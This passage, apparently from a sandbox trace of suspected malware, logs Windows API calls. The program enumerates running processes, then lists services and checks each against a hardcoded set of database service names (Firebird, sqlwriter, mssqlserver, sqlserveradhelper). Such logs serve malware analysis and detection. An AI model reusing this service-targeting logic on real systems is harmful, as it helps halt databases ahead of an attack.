cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0161.180] lstrlenW (lpString="movers-indication.exe") returned 21 [0161.180] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0161.181] lstrlenW (lpString="drama tv thee.exe") returned 17 [0161.181] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0161.182] lstrlenW (lpString="barriers.exe") returned 12 [0161.182] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0161.183] lstrlenW (lpString="shootclick.exe") returned 14 [0161.183] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0161.184] lstrlenW (lpString="nickel.exe") returned 10 [0161.184] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0161.184] lstrlenW (lpString="imperialopened.exe") returned 18 [0161.184] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0161.185] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0161.185] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0161.186] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0161.186] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0161.187] lstrlenW (lpString="perhapssentences.exe") returned 20 [0161.187] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0161.188] lstrlenW (lpString="dllhost.exe") returned 11 [0161.188] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.188] lstrlenW (lpString="svchost.exe") returned 11 [0161.188] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0161.189] lstrlenW (lpString="chrome64b.exe") returned 13 [0161.189] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0161.190] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0161.190] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0161.191] lstrlenW (lpString="conhost.exe") returned 11 [0161.191] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0161.192] lstrlenW (lpString="cmd.exe") returned 7 [0161.192] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0161.192] lstrlenW (lpString="conhost.exe") returned 11 [0161.192] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0161.193] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0161.193] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0161.194] CloseHandle (hObject=0x358) returned 1 [0161.194] Sleep (dwMilliseconds=0x1f4) [0161.765] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8e8 [0161.765] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0161.765] GetLastError () returned 0xea [0161.765] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x881c38 [0161.766] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x881c38, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x881c38, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0161.766] CloseServiceHandle (hSCObject=0x7ce8e8) returned 1 [0161.767] lstrlenW (lpString="Appinfo") returned 7 [0161.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0161.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0161.767] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0161.767] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0161.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0161.767] lstrlenW (lpString="AppXSvc") returned 7 [0161.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0161.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0161.767] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0161.767] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0161.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0161.767] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0161.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0161.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0161.767] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0161.767] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0161.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0161.767] lstrlenW (lpString="Audiosrv") returned 8 [0161.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0161.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0161.767] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0161.767] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0161.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0161.767] lstrlenW (lpString="BFE") returned 3 [0161.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0161.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0161.767] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0161.768] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0161.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0161.768] lstrlenW (lpString="BITS") returned 4 [0161.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0161.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0161.768] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0161.768] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0161.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0161.768] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0161.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0161.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0161.768] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0161.768] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0161.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0161.768] lstrlenW (lpString="CDPSvc") returned 6 [0161.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0161.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0161.768] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0161.768] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0161.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0161.768] lstrlenW (lpString="ClickToRunSvc") returned 13 [0161.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0161.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0161.768] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0161.768] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0161.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0161.769] lstrlenW (lpString="ClipSVC") returned 7 [0161.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0161.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0161.769] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0161.769] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0161.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0161.769] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0161.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0161.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0161.769] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0161.769] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0161.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0161.769] lstrlenW (lpString="CryptSvc") returned 8 [0161.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0161.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0161.769] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0161.770] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0161.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0161.770] lstrlenW (lpString="DcomLaunch") returned 10 [0161.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0161.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0161.770] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0161.770] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0161.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0161.770] lstrlenW (lpString="DeviceAssociationService") returned 24 [0161.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0161.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0161.770] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0161.770] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0161.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0161.770] lstrlenW (lpString="Dhcp") returned 4 [0161.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0161.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0161.770] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0161.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0161.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0161.770] lstrlenW (lpString="Dnscache") returned 8 [0161.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0161.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0161.770] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0161.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0161.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0161.770] lstrlenW (lpString="DoSvc") returned 5 [0161.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0161.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0161.770] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0161.770] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0161.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0161.770] lstrlenW (lpString="DPS") returned 3 [0161.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0161.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0161.771] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0161.771] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0161.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0161.771] lstrlenW (lpString="DusmSvc") returned 7 [0161.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0161.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0161.771] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0161.771] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0161.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0161.771] lstrlenW (lpString="EventLog") returned 8 [0161.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0161.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0161.771] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0161.771] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0161.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0161.771] lstrlenW (lpString="EventSystem") returned 11 [0161.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0161.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0161.771] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0161.771] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0161.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0161.771] lstrlenW (lpString="FontCache") returned 9 [0161.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0161.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0161.771] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0161.771] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0161.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0161.771] lstrlenW (lpString="gpsvc") returned 5 [0161.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0161.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0161.771] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0161.771] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0161.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0161.772] lstrlenW (lpString="iphlpsvc") returned 8 [0161.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0161.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0161.772] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0161.772] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0161.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0161.772] lstrlenW (lpString="KeyIso") returned 6 [0161.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0161.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0161.772] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0161.772] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0161.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0161.772] lstrlenW (lpString="LanmanServer") returned 12 [0161.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0161.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0161.772] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0161.772] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0161.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0161.772] lstrlenW (lpString="LanmanWorkstation") returned 17 [0161.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0161.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0161.772] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0161.772] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0161.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0161.772] lstrlenW (lpString="lfsvc") returned 5 [0161.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0161.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0161.772] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0161.772] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0161.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0161.772] lstrlenW (lpString="LicenseManager") returned 14 [0161.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0161.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0161.772] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0161.773] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0161.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0161.773] lstrlenW (lpString="lmhosts") returned 7 [0161.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0161.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0161.773] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0161.773] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0161.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0161.773] lstrlenW (lpString="LSM") returned 3 [0161.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0161.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0161.773] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0161.773] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0161.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0161.773] lstrlenW (lpString="MpsSvc") returned 6 [0161.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0161.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0161.773] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0161.773] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0161.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0161.773] lstrlenW (lpString="NcbService") returned 10 [0161.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0161.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0161.773] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0161.773] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0161.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0161.773] lstrlenW (lpString="netprofm") returned 8 [0161.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0161.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0161.773] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0161.773] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0161.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0161.773] lstrlenW (lpString="NlaSvc") returned 6 [0161.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0161.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0161.774] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0161.774] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0161.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0161.774] lstrlenW (lpString="nsi") returned 3 [0161.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0161.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0161.774] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0161.774] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0161.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0161.774] lstrlenW (lpString="PcaSvc") returned 6 [0161.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0161.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0161.774] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0161.774] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0161.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0161.774] lstrlenW (lpString="PlugPlay") returned 8 [0161.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0161.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0161.774] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0161.774] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0161.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0161.774] lstrlenW (lpString="Power") returned 5 [0161.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0161.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0161.774] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0161.774] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0161.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0161.774] lstrlenW (lpString="ProfSvc") returned 7 [0161.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0161.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0161.774] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0161.774] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned 